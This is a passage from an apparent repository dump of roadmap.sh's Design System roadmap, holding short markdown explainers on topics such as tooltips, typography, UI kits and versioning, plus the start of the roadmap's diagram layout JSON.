    "content": "# Tooling Analytics\n\nTrack what tools are being used for your design system. Find out which ones are used the most and which features are the most popular.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/tooling@jggrr5nZOe6FY3ZrZJTOw.md",
    "content": "# Tooling\n\nDesign system tooling encompasses technical infrastructure and workflows. Effective tooling should integrate with design tools, provide component libraries for frameworks, implement token management, utilize documentation platforms, establish automated versioning, create testing infrastructure, and enable collaboration workflows."
  },
  {
    "path": "src/data/roadmaps/design-system/content/tooltip@2oCAzsk_y2Y2oHUi467dp.md",
    "content": "# Tooltip\n\nTooltips are desktop-only components that display additional information when hovering over or focusing on an element.\n\n- **Keyboard Hover Support:** Tooltips should be accessible when an element is focused using the keyboard.\n- **Dynamic Positioning:** Tooltip content should be displayed based on the current position of the trigger element on the screen and always visible to the user.\n- **Hover Timeout:** Having a small timeout before triggering a tooltip will help to prevent occasionally showing tooltips while users move their mouse cursor.\n- **Light Variant:** The tooltip should respect its parent element background and provide a variant to be used on darker background colours.\n- **Instant Transition for Element Groups:** If there’s a group of elements using tooltips, hovering over another element while a tooltip’s already active shouldn’t trigger the animation.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/typography@ODQ8zrHc2rsc8PN-APKvz.md",
    "content": "# Typography\n\nTypography establishes hierarchy, readability, and brand personality. An effective system should develop harmonious scales using mathematical ratios, choose appropriate typefaces, implement fluid typography, establish consistent line-heights, define font weight hierarchy, ensure accessibility compliance, and provide clear usage guidelines."
  },
  {
    "path": "src/data/roadmaps/design-system/content/ui-kit@lUObv2N7eH3Jdnwwd5vmI.md",
    "content": "# UI Kit\n\nAs it relates to a design system, a UI Kit is a representation of coded components created in a way that designers who don’t know code can create interface mockups. Examples of UI kits are Sketch libraries and [Figma design systems](https://www.figma.com/blog/how-to-build-your-design-system-in-figma/).\n\nVisit the following resources to learn more:\n\n- [@article@Design System vs UI Kit](https://uigstudio.com/insights/design-system-vs-ui-kit)\n- [@article@Your sketch library is not a design system](http://bradfrost.com/blog/post/your-sketch-library-is-not-a-design-system/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/understand-he-basics@uvnV1IjE8RV-FKDxHntUU.md",
    "content": "# Design System Basics\n\nA design system is a set of standards to manage design at scale by reducing redundancy while creating a shared language and visual consistency across different pages and channels.\n\nVisit the following resources to learn more:\n\n- [@article@Design Systems 101](https://www.nngroup.com/articles/design-systems-101/)\n- [@video@What is a Design System? Design Systems 101 for Designers](https://www.youtube.com/watch?v=wc5krC28ynQ)\n- [@article@How to build your design system](https://www.figma.com/blog/design-systems-102-how-to-build-your-design-system/)\n- [@article@Everything you need to know about Design Systems](https://uxdesign.cc/everything-you-need-to-know-about-design-systems-54b109851969)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/unit-testing@y8No8I0MltA91j4Q2toT0.md",
    "content": "# Unit Testing\n\nEvery part of the design system should be covered with unit tests. Once your system’s adopted, any change in the isolated environment may affect how the product works.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/units@wQbMhC7q3qdKYf_pX5qL4.md",
    "content": "# Units\n\nUnits are the most granular building blocks for layout. Defining a set of values with consistent increments (such as 4, 8, 12 and 16 for a 4-point system) will provide you with the foundation when you’re designing your grid and spacing values.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/usage-guidance@RmSFwKqL9yXXxGKZusKWX.md",
    "content": "# Usage Guidance\n\nLogo usage guidance provides rules for proper implementation to maintain brand consistency. Effective guidance should establish clear examples of proper usage and mistakes to avoid, define logo variations, specify color requirements, prohibit unauthorized alterations, and include approval processes for new contexts.\n\nVisit the following resources to learn more:\n\n- [@article@Logo Usage Best Practices](https://99designs.com/blog/tips/logo-usage-guidelines/)\n- [@article@Brand Guidelines Development](https://designsystem.digital.gov/design-tokens/logo/)\n- [@article@Trademark and Logo Legal Guidelines](https://www.uspto.gov/trademarks-getting-started/trademark-basics)\n- [@article@Brand Identity Protection](https://www.brandfolder.com/blog/brand-guidelines)\n- [@feed@Explore top posts about Brand Management](https://app.daily.dev/tags/branding?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/user-onboarding@PlW8mHnOTyYnbtl0zUSG9.md",
    "content": "# User Onboarding\n\nHow you onboard your users to your product or a new feature and give them a great experience from the start.\n\n- [@video@What is user onboarding? ](https://www.youtube.com/watch?v=PatIqbGEQe4)"
  },
  {
    "path": "src/data/roadmaps/design-system/content/version-control@CYY6nbQiC2pu5ATWmO6wA.md",
    "content": "# Version Control\n\nHaving your design versioned with semantic versioning will allow you to easily align design with development, roll back faulty changes and release changes in code and design at the same time.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/vision@cMfsRtvzvDZZJ0TqeUOxm.md",
    "content": "# Vision\n\nBrand vision serves as the foundation for design system decisions, providing purpose and direction. An effective vision should articulate organizational purpose, identify core values, visualize future success, prioritize user needs, clarify brand uniqueness, account for cultural considerations, and connect to measurable goals.\n\nVisit the following resources to learn more:\n\n- [@article@Creating Brand Vision](https://www.interaction-design.org/literature/article/branding-in-ux)\n- [@article@Vision-Driven Design Systems](https://bradfrost.com/blog/post/the-design-system-ecosystem/)\n- [@article@Brand Strategy for Design](https://alistapart.com/article/creating-a-brand-identity/)\n- [@article@Purpose-Driven Design](https://designsystem.digital.gov/design-tokens/brand/)\n- [@feed@Explore top posts about Brand Strategy](https://app.daily.dev/tags/branding?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/visual-forms@-MrrapoyFWKhSeE2PZ9mb.md",
    "content": "# Visual Forms\n\nVisual forms focus on aesthetic and interactive design aspects of form components. Effective design should establish clear information architecture, create consistent field styling, develop harmonious label positioning, design clear error communication, implement progressive enhancement, prioritize mobile-first design, and ensure cross-platform consistency."
  },
  {
    "path": "src/data/roadmaps/design-system/content/what-is-a-design-system@4PrkkoZ5fY-oow0O-bVhu.md",
    "content": "# What is Design System\n\nA Design System is the single source of truth which groups all the elements that will allow the teams to design, realize and develop a product.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about Design Systems](https://uxdesign.cc/everything-you-need-to-know-about-design-systems-54b109851969)\n- [@article@Design Systems 101](https://www.nngroup.com/articles/design-systems-101/)\n- [@article@A comprehensive guide to design systems](https://www.invisionapp.com/inside-design/guide-to-design-systems/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/what-is-atomic-design@6r9XbwlBtHmJrhviG2cTD.md",
    "content": "# Atomic Design\n\nAtomic design (by Brad Frost) is a mental model to help you think of user interfaces as a cohesive whole and a collection of parts at the same time. Through the comparison to atoms, molecules, and organisms, we can think of the design of our UI as a composition of self-containing modules put together.\n\nVisit the following resources to learn more:\n\n- [@article@Atomic Design Principles & Methodology 101](https://xd.adobe.com/ideas/process/ui-design/atomic-design-principles-methodology-101/)\n- [@article@Atomic Design Methodology](https://atomicdesign.bradfrost.com/chapter-2/)\n- [@article@Atomic Design and UI Components: Theory to Practice](https://blog.bitsrc.io/atomic-design-and-ui-components-theory-to-practice-f200db337c24)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/writing-guidelines@toyNbBB5tbyiJZkzuklIv.md",
    "content": "# Writing Guidelines\n\nEvery consistent experience needs watertight writing. Laying down the foundations for your house style early keeps everything in line with consistent grammar, style choices and action-oriented language to help your design.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/design-system.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"oHZ5JbApDEfh0_af8h1He\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -23.638187271993502,\n        \"y\": 2765.9551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 373,\n        \"height\": 228\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -23.638187271993502,\n        \"y\": 2765.9551467174065\n      }\n    },\n    {\n      \"id\": \"w5aUEG9HC-XmarfhsTNaV\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -24.638187271993502,\n        \"y\": 2542.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 375,\n        \"height\": 227\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -24.638187271993502,\n        \"y\": 2542.4551467174065\n      }\n    },\n    {\n      \"id\": \"9z_V6GT_k0CUpi_RNa91F\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -455.6381872719935,\n        \"y\": 2040.7548214022336\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 97,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -455.6381872719935,\n        \"y\": 2040.7548214022336\n      }\n    },\n    {\n      \"id\": \"21pccUw8Y00FpFjxJXFsS\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -711.6381872719935,\n        \"y\": 1827.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 275\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.6381872719935,\n        \"y\": 1827.4551467174065\n      }\n    },\n    {\n      \"id\": \"D-p4-EZLTiY15S078aSfD\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -168.1661509129056,\n        \"y\": 1858.7548214022338\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -168.1661509129056,\n        \"y\": 1858.7548214022338\n      }\n    },\n    {\n      \"id\": \"IwYCGqNQKMDLJy11ozOA1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -246.3175069304428,\n        \"y\": 1313.4551467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 1566\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -246.3175069304428,\n        \"y\": 1313.4551467174065\n      }\n    },\n    {\n      \"id\": \"C6u3MfTH06l-FQrF2Fl2L\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -180.55263821186702,\n        \"y\": 1267.296264330049\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -180.55263821186702,\n        \"y\": 1267.296264330049\n      }\n    },\n    {\n      \"id\": \"wXJmQeb9VnDhWOPow0DQ_\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1556.6400192507067\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 375,\n        \"height\": 228\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.417377286676242,\n        \"y\": 1556.6400192507067\n      }\n    },\n    {\n      \"id\": \"Iy-XknF5sqjWIYF1MWaat\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -450.4579568300146,\n        \"y\": 997.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -450.4579568300146,\n        \"y\": 997.4393516042962\n      }\n    },\n    {\n      \"id\": \"dWZ4Tbbb1lsfHP1qy0Z9Z\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -711.6381872719935,\n        \"y\": 858.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#fafafa\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 334\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.6381872719935,\n        \"y\": 858.400748222349\n      }\n    },\n    {\n      \"id\": \"OjpMq77qldn4SwOFCDXhd\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -132.6381872719935,\n        \"y\": 690.9393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -132.6381872719935,\n        \"y\": 690.9393516042962\n      }\n    },\n    {\n      \"id\": \"rfg1MAPkP5mIXnvr0oTPl\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 649.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 186\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 649.400748222349\n      }\n    },\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -246.3175069304428,\n        \"y\": 3004.2541881503926\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 87\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -246.3175069304428,\n        \"y\": 3004.2541881503926\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -349.3175069304428,\n        \"y\": -45.29485328259341\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design System\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 228,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -349.3175069304428,\n        \"y\": -45.29485328259341\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -245.3175069304428,\n        \"y\": -133.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -245.3175069304428,\n        \"y\": -133.0992517776511\n      }\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": -148.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uvnV1IjE8RV-FKDxHntUU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -362.3175069304428,\n        \"y\": 152.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Understand he Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -362.3175069304428,\n        \"y\": 152.4393516042962\n      }\n    },\n    {\n      \"id\": \"4PrkkoZ5fY-oow0O-bVhu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 46.439351604296206\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is a Design System?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 46.439351604296206\n      }\n    },\n    {\n      \"id\": \"2rlmLn_yQQV-7DpX1qT98\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 99.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Need of Design System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VhSEH_RoWFt1z2lial7xZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 99.4393516042962\n      }\n    },\n    {\n      \"id\": \"w_rUaBorHFOY74S0JiEwM\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"CVNNr97eZmGVFZyNVmR9b\",\n            \"label\": \"UX Design\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/ux-design\"\n          },\n          {\n            \"id\": \"n0eX8uQ-AM9USJn4HY4FV\",\n            \"label\": \"Frontend Development\",\n            \"url\": \"https://roadmap.sh/frontend\"\n          },\n          {\n            \"id\": \"zwe6k5A7ZsbgCjvbz409x\",\n            \"label\": \"JavaScript Roadmap\",\n            \"url\": \"https://roadmap.sh/javascript\"\n          },\n          {\n            \"id\": \"JwIifMJGmRamELLZw5_WD\",\n            \"label\": \"React Roadmap\",\n            \"url\": \"https://roadmap.sh/react\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 193\n      },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 192,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      }\n    },\n    {\n      \"id\": \"J5mU0v491qrm-mr1W3Msd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 152.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design System vs Component Library\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 152.4393516042962\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -701.6381872719935,\n        \"y\": 2882.2541881503926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following roadmaps to keep learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -701.6381872719935,\n        \"y\": 2882.2541881503926\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 602,\n        \"height\": 122\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"6AIUtChWC_gK8Ax0UuBjd\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -687.6229822365909,\n        \"y\": 2939.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -687.6229822365909,\n        \"y\": 2939.899845583502\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6r9XbwlBtHmJrhviG2cTD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 205.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Atomic Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      